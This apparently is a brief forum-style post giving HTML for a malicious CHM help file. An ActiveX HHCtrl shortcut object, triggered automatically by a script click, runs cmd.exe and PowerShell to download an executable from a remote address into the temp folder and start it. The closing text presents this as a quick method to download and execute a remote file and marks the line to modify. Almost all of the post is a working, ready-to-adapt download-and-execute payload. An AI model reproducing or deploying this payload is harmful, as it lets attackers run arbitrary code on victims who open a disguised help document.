code:

<html>
<title>support</title>
<head>
</head>
<body>
<object id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<param name="command" value="shortcut">
<param name="button" value="bitmap::shortcut">
<param name="item1" value=",cmd.exe,/c powershell (new-object system.net.webclient).downloadfile('http://192.168.1.75/calc.exe','%temp%\calc.exe'); start-process '%temp%\calc.exe' ,">
<param name="item2" value="273,1,1">
</object>
<script>
x.click();
</script>
<a name=contents>
<h2 align=center>support</h2>
<p></a>
<h3 align=center>support</h3><p>
</body>


quick and dirty method to download and execute a remote file via a chm file (help document)

key element to modify is the following syntax:
code:

<param name="item1" value=",cmd.exe,/c powershell (new-object system.net.webclient).downloadfile('http://192.168.1.75/calc.exe','%temp%\calc.exe'); start-process '%temp%\calc.exe' ,">